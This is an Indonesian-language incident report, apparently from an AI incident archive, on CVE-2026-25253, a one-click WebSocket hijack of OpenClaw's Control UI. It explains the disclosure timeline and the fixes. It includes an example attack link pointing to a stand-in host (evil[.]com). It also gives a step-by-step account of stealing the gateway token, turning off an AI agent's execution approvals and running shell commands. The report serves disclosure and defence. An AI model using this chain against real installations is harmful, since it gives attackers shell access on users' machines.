Ilustrasi editorial abstrak berwarna biru navy gelap: jendela peramban di sebelah kiri membentangkan pita query-string yang bercahaya dan melengkung melintasi celah gelap menuju simpul token berwarna amber, dan garis tipis dari token berlanjut ke titik akhir terpisah di sebelah kanan. Satu-satunya teks adalah label kecil bertuliskan 'QUERY STRING > TOKEN > GATEWAY'. Tanpa orang, tanpa logo.
AI Safety Incidents

Pembajakan WebSocket OpenClaw Control UI: satu tautan menuju RCE

Penulis

Gideon Frost

Tanggal Terbit

Model terbaru · 20Lihat semua model →
Benchmark: Artificial Analysis · diperbarui setiap hari
Kembali ke semua artikel

Pada 29 Januari 2026, firma keamanan Ethiack menerbitkan laporannya tentang celah pada OpenClaw, agen AI pribadi sumber terbuka yang berjalan di mesin pengguna sendiri dan dikendalikan dari dasbor peramban bernama Control UI. Tautan yang dirancang khusus dapat membuat dasbor tersebut menyerahkan token autentikasi gateway kepada penyerang, dan dengan itu kemampuan menjalankan perintah shell sebagai pengguna yang sedang masuk. CVE-2026-25253 menyusul pada 1 Februari 2026 dan advisory proyek itu sendiri sehari setelahnya, keduanya menilai celah tersebut 8.8, tinggi. Setiap penerapan tempat seseorang telah masuk ke Control UI termasuk dalam cakupan, termasuk instans yang hanya dapat dijangkau melalui loopback. Tidak ada sumber yang dibaca untuk artikel ini yang mencatat celah tersebut digunakan terhadap pengguna nyata. Arsip tersebut mencatat episode ini sebagai insiden infrastruktur berseveritas tinggi dengan nilai keyakinan B dan tanggal presisi hari 29 Januari 2026, bersama entri keamanan agen lainnya di Orca AI Incident Archive.

Apa yang dilakukan Control UI dengan URL

OpenClaw adalah agen yang dihosting sendiri yang diakses penggunanya melalui aplikasi perpesanan dan dasbor web, dan yang beroperasi dengan apa yang disebut laporan Ethiack sebagai "akses sistem penuh". Proyek ini sudah lebih dari sekali berganti nama, membawa nama Clawdbot dan Moltbot sebelum OpenClaw, dan catatan registri npm mencatat openclaw paket sebagai dibuat pada 29 Januari 2026 pukul 11:08 UTC. Dasbor adalah bagian yang penting di sini: dasbor menyimpan token gateway di penyimpanan browser, dan di sanalah celah itu berada.

The Control UI read a gatewayUrl value out of the page's query string in a function named applySettingsFromUrl() and adopted it without checking whether the target was a trusted or local domain. It then connected to that address automatically on page load, with no prompt, and the WebSocket connect frame carried the stored gateway authentication token along with a device ID and public key (SonicWall Capture Labs, 26 February 2026). A link of the form http://<target>/chat?gatewayUrl=ws://evil[.]com was therefore enough to send the token to a server the attacker controlled. OpenClaw's own advisory states the behaviour plainly: "The Control UI trusts gatewayUrl from the query string without validation and auto-connects on load, sending the stored gateway token in the WebSocket connect payload."

Dua fakta peramban mengubah kebocoran itu menjadi pengambilalihan. Peramban tidak menerapkan kebijakan same-origin pada koneksi WebSocket seperti pada permintaan HTTP biasa, dan gateway tidak memvalidasi header Origin saat upgrade, sehingga JavaScript di halaman yang dikunjungi korban dapat membuka soket langsung ke ws://localhost:18789 (depthfirst, 1 Februari 2026). Karena peramban korban sendiri yang membuat koneksi keluar, serangan itu menjangkau gateway yang terikat ke loopback dan tak terlihat dari jaringan. "Kerentanan ini dapat dieksploitasi bahkan pada instans yang dikonfigurasi untuk hanya mendengarkan di loopback, karena peramban korban yang memulai koneksi keluar," kata advisory proyek tersebut. Ethiack mencatat satu kondisi lain saat itu: versi stabil Chrome yang diuji tidak menyertakan izin Local Network Access secara default, sehingga peramban juga tidak memunculkan prompt.

Apa yang diberikan token yang dicuri adalah bagian selanjutnya dari cerita. Token itu membawa cakupan operator.admin dan operator.approvals. Dengan itu, penyerang dapat mematikan persetujuan eksekusi dengan menyetel exec.approvals.set ke "off", memindahkan host eksekusi keluar dari container dengan menyetel tools.exec.host ke "gateway", lalu menjalankan perintah shell di host melalui permintaan node.invoke / system.run (depthfirst, 1 Februari 2026; The Hacker News, 2 Februari 2026). Advisory vendor merangkum hasilnya dalam satu klausa: penyerang dapat "memodifikasi konfigurasi (sandbox, kebijakan alat), dan memanggil tindakan istimewa, sehingga mencapai RCE sekali klik".

A four-step chain card headed 'From a query string to a shell': step one, a crafted link sets the gatewayUrl parameter; step two, the Control UI auto-connects on load and sends the stored token; step three, the attacker replays the token against the victim's gateway; step four, execution approvals are disabled, the execution host is switched to the gateway, and a shell command runs.

Ditemukan dalam waktu kurang dari dua jam, oleh mesin

Penemuan itu sendiri merupakan latihan AI. Ethiack melepaskan agen pentesting otonomnya, Hackian, pada instance OpenClaw yang aktif pada 26 Januari 2026 pukul 13.21 UTC. Perusahaan itu mengonfirmasi celah tersebut pada 15.05 UTC, sekitar satu jam empat puluh menit kemudian, yang menjadi angka utama dalam tulisan Ethiack. Perusahaan melaporkannya kepada pengelola OpenClaw pada 18.02 UTC. Sebuah pull request menyusul pada 27 Januari dan perbaikannya mencapai cabang utama pada malam 28 Januari, menurut linimasa yang diterbitkan Ethiack dan riwayat commit proyek tersebut.

Tim kedua mencapai kesimpulan yang sama secara independen. Mav Levin, peneliti keamanan pendiri di depthfirst, menerbitkan tulisannya sendiri pada 1 Februari 2026, dengan menulis bahwa "Tim OpenClaw dengan cepat menangani dan memperbaiki masalah yang saya laporkan" dan bahwa orang lain telah melaporkan bug yang sama secara independen. Advisory GitHub mencantumkan DepthFirstDisclosures sebagai pelapor dan mencantumkan baik 0xacb maupun mavlevin di antara para penemu. Akun 0xacb memiliki nama profil André Baptista, salah satu dari tiga penulis bersama tulisan Ethiack, yang sesuai dengan linimasa: pull request Ethiack terhadap perbaikan dibuka dari akun itu pada 27 Januari dan commit para pengelola berterima kasih dengan menyebut namanya. Tidak ada sumber yang dibaca untuk artikel ini yang menyatakan bahwa kedua upaya itu saling mengetahui sebelum publikasi, dan tidak ada yang membantah kredit tersebut.

A timeline card with seven dated rows: 26 January 2026 at 13:21 UTC an autonomous pentesting agent starts against a live OpenClaw instance; 15:05 UTC the flaw is confirmed; 18:02 UTC it is reported to the maintainers; 27 January at 17:12 UTC a pull request is opened; 28 January between 21:26 and 21:32 UTC the fix series lands on the main branch; 30 January npm publishes 2026.1.29 at 04:49 UTC and the GitHub release follows at 05:26 UTC; 1 February at 22:34 UTC the CVE record is published, with the project advisory on 2 February.

Tanggal catatan tersebut, dan tanggal-tanggal di sekitarnya

Arsip mencantumkan entri ini bertanggal 29 Januari 2026 dengan presisi hari, dan itu cocok dengan hari ketika riset Ethiack dipublikasikan. Perbaikan kode sudah masuk sehari sebelumnya. Rilis bertag yang membawanya menyusul pada dini hari 30 Januari UTC, yaitu malam 29 Januari waktu Pasifik Amerika Serikat: npm mencatat versi 2026.1.29 pada 04.49 UTC tanggal 30 Januari dan rilis GitHub pada 05.26 UTC. Catatan CVE MITRE bertanggal 1 Februari 2026 pukul 22.34 UTC, advisory GitHub 2 Februari pukul 23.41 UTC, dan The Hacker News memberitakan cacat tersebut pada 2 Februari.

Sumber yang dikutip dalam catatan, pelacak insiden agen Permission Protocol, memiliki garis waktunya sendiri, dan sebagian garis waktu itu terlambat. Pelacak tersebut menempatkan rilis patch pada 2026-01-29, konsisten dengan nomor versi, tetapi menetapkan tanggal "laporan awal" kerentanan pada 2026-02-12 dan pengungkapan publik luas CVE-2026-25253 pada 2026-02-26, dengan rangkuman independen pada 2026-03-24. Dokumen utama mengatakan sebaliknya. Tanggal 26 Februari sesuai dengan analisis patch SonicWall, yang diterbitkan tiga setengah minggu setelah pengenal itu ada, dan 12 Februari berada di antara dua tulisan riset dan analisis vendor, bukan sebelum keduanya. Baris terakhir garis waktu pelacak juga menyebut mekanisme itu "zero-click"; advisory vendor menyebutnya 1-click, dan setiap laporan yang diterbitkan menggambarkan korban yang harus membuka tautan. Jika tanggal dan label tersebut berbeda, artikel ini mengikuti catatan CVE, advisory vendor, dan dua tulisan riset.

Satu peringatan tentang sumber itu perlu disampaikan secara terbuka. Permission Protocol menjual gerbang otorisasi, dan entrinya membingkai insiden tersebut seputar apa yang akan diblokir oleh produknya sendiri. Halaman itu menyebut penilaian tersebut bersifat kondisional dan menyatakan tentang dirinya sendiri bahwa "sumber tersebut tidak menetapkan hasil pencegahan produk". Yang secara akurat dibawa oleh catatan itu adalah pembingkaiannya: riset tersebut telah tersedia untuk publik tiga hari sebelum CVE ada, itulah sebabnya arsip menyebut ini sebagai penemuan awal sebelum CVE-2026-25253.

Apa yang sebenarnya dirugikan

Tidak ada, sejauh yang dicatat oleh sumber mana pun. Arsip menandai catatan itu real_harm false, dan itu konsisten dengan semua yang diterbitkan di sekitarnya. Pusat Keamanan Siber Belgia menerbitkan advisory pada 2 Februari 2026 yang menyatakan bahwa "Saat ini tidak ada bukti bahwa kerentanan ini telah dieksploitasi di dunia nyata". Baik Ethiack, depthfirst, SonicWall maupun The Hacker News tidak melaporkan adanya korban, instalasi yang terkompromi, atau data yang diambil, dan tidak satu pun dari mereka menyebutkan angka berapa banyak instalasi yang terekspos. Ethiack hanya mengamati bahwa ada "banyak sekali instance yang berjalan di server publik" dengan konfigurasi lemah, yang merupakan kesan ketimbang hitungan.

Yang ada adalah kode eksploit yang berfungsi. Ethiack menerbitkan sumber eksploit lengkap bersama tulisannya dan mendemonstrasikan rantai serangan terhadap instansinya sendiri. Analisis SonicWall pada Februari menunjukkan pengambilan token "menggunakan eksploit yang tersedia untuk publik". Repositori proof-of-concept pihak ketiga muncul di GitHub pada 9 Maret 2026. Kode eksploit publik tidak sama dengan eksploitasi, dan tanda bahaya arsip berkaitan dengan yang terakhir.

Satu sumber lebih longgar daripada yang lain dan perlu ditandai. Bagian risiko dalam advisory Belgia menggambarkan bot itu sendiri yang merender konten yang dikendalikan penyerang sebagai pemicu, yang bukan mekanisme dalam advisory vendor atau dalam kedua tulisan riset: dalam ketiganya, browser korban diarahkan ke tautan dan agen menjadi target, bukan kendaraan pengiriman. Pernyataan eksploitasinya adalah bagian yang dapat dikutip; ringkasan mekanismenya bukan.

Apa yang berubah, dan apa yang masih terbuka setelah perbaikan pertama

Perbaikan pada 2026.1.29 menambahkan dialog konfirmasi sebelum Control UI beralih ke URL gateway yang berbeda. Advisory proyek tersebut menggambarkan perubahan itu sebagai "Dengan perubahan ini, pengguna sekarang perlu mengonfirmasi URL gateway baru di UI", dan file yang merender dialog tersebut ada di tag v2026.1.29. Hal itu menaikkan biaya serangan dari satu klik menjadi satu klik ditambah konfirmasi yang disengaja. Ini tidak menghilangkan kepercayaan mendasar terhadap parameter URL.

Validasi origin, separuh lainnya dari rantai tersebut, datang kemudian. Analisis patch SonicWall mencatat bahwa “Pembaruan selanjutnya menerapkan kontrol validasi origin yang ketat”, dengan mencantumkan empat pemeriksaan: menolak header Origin yang hilang atau tidak valid; mengizinkan host Origin yang cocok dengan header Host; mengizinkan loopback ke loopback; mengizinkan origin yang disebutkan dalam daftar allowedOrigins yang dikonfigurasi; dan menolak semua lainnya. Urutan tersebut terlihat dalam sumber proyek pada tag v2026.1.29, di mana handler upgrade WebSocket membaca dan mencatat header Origin tanpa menerapkan kebijakan apa pun padanya.

Respons lainnya adalah deteksi, bukan kode. SonicWall merilis signature IPS 21908 untuk apa yang disebutnya sebagai eksposur data sensitif OpenClaw. depthfirst menyarankan peningkatan versi dan rotasi token gateway jika eksposur dicurigai, yang secara langsung mengikuti mekanismenya: token yang dicuri tetap valid sampai seseorang mengubahnya.

Apa yang sudah mapan, dan apa yang belum

Telah dipastikan, dari dokumen primer: jalur kode rentan membaca gatewayUrl dari string kueri dan terhubung otomatis tanpa validasi; frame connect membawa token yang tersimpan; gateway tidak memvalidasi origin WebSocket, sehingga browser di situs mana pun dapat menjangkau loopback; token tersebut membawa cakupan admin dan persetujuan; versi sebelum 2026.1.29 terdampak; dan dua tim menemukan cacat tersebut secara independen, salah satunya agen otonom yang bekerja dari luar.

Belum terbukti: bahwa ada pihak yang mengeksploitasinya, berapa banyak instalasi yang dapat dijangkau saat itu, dan apakah dialog konfirmasi saja cukup untuk mengalahkan penyerang yang bertekad. Nilai B dari arsip tersebut mencerminkan basis kutipan yang hanya berupa satu pelacak sekunder, bukan keraguan tentang mekanismenya, dan catatan tersebut tidak ditandai sebagai disengketakan. Mekanisme itu didukung oleh advisory vendor, catatan CVE dari MITRE, dan dua tulisan riset independen, yang lebih banyak daripada yang diklaim catatan itu sendiri secara mandiri.

A two-column comparison card. The left column, headed 'Established by primary documents', lists: the gatewayUrl query parameter was trusted and auto-connected; the connect frame sent the stored token; WebSocket origin was not validated; the token held operator.admin and operator.approvals; versions before 2026.1.29 were affected; two teams found it independently. The right column, headed 'Not established', lists: any in-the-wild exploitation; a count of reachable installations; whether the confirmation dialog alone defeats the attack.

Ringkasan satu baris arsip menyebut ini sebagai temuan awal sebelum CVE-2026-25253, dan itulah cara yang tepat untuk membaca entri tersebut: catatan tentang cacat yang ditemukan, dilaporkan, dan diperbaiki sebelum memiliki pengenal, dalam produk yang dibuat untuk menjalankan perintah di mesin tempat produk itu berada. CVE yang menyusul menjelaskan tiga perilaku yang sama, sebuah parameter kueri, koneksi tanpa diminta, dan token dalam handshake, dan tidak ada sumber yang dibaca untuk tulisan ini yang menempatkan siapa pun di ujung lain koneksi itu.